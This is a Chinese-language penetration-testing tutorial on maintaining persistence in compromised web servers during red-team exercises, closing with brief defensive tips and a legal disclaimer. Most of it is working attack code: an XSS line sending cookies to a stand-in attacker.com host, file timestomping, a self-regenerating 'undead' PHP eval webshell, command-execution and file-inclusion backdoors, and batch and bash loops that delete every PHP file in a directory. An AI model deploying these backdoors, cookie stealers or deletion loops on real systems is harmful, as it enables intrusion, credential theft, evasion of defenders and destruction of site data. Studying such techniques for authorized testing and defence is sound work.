渗透测试入门之Web权限维持
字数 612 2025-08-15 21:32:05
Web权限维持技术详解
前言
权限维持在红蓝对抗中具有两大核心意义:
- 防止已获取权限被蓝队破坏
- 防止其他红队获取相同权限
基本原则:不能影响原有业务的正常运行
后台权限维持技术
XSS Cookie窃取
- 实现方式:在后台源代码中插入XSS代码
- 优势:隐蔽性强,不易被发现
- 适用场景:已获取webshell权限情况下
- 参考代码:
// 示例XSS代码,实际使用需根据目标环境调整
document.location='http://attacker.com/steal.php?cookie='+document.cookie;
Webshell权限维持技术
针对蓝队的维持方法
1. 多路径部署
- 避免在单一可写目录(如上传目录)存放webshell
- 寻找其他可写目录分散部署
2. 文件时间篡改(Linux)
- 使用
touch命令修改文件时间属性
touch -d '08-August-2019' webshell.php
3. 不死马技术
- 常驻内存的webshell,自动再生
- 示例代码:
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '3.php';
$code = '<?php @eval($_POST[\'pass\']);?>';
while (1) {
file_put_contents($file, $code);
system('touch -m -d "2018-12-01 09:10:12" 3.php');
usleep(5000);
}
?>
4. 多样化后门
- 命令执行后门:
<?php
$cmd=$_GET["name"];
echo shell_exec($cmd);
?>
- 图片马+文件包含:
- 图片马内容:
<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST['cmd']);?>")?>- 文件包含脚本:
<?php $filename=$_GET['f']; include($filename); ?>
针对红队的防御方法
1. Windows环境
@echo off
cls
if "%1"=="h" goto start
start mshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit
:start
for %%i in (*.php) do (del %%i)
choice /t 5 /d y /n >nul
goto start
2. Linux环境
#! /bin/bash
while true;do
find . -type f -name "*.php"|xargs rm -rf
done
平台差异与注意事项
- Linux优势:查杀工具较少,主要依赖脚本或手动检查
- Windows挑战:需考虑免杀技术,对抗专业查杀工具
- 通用原则:保持隐蔽性,不影响正常业务
防御建议
- 定期检查服务器异常文件
- 监控文件时间属性变化
- 限制服务器脚本执行权限
- 实施严格的访问控制
- 部署专业Web应用防火墙(WAF)
- 建立文件完整性监控机制
法律声明
所有技术信息仅用于合法授权测试,未经授权使用可能违反《中华人民共和国网络安全法》及相关法律法规。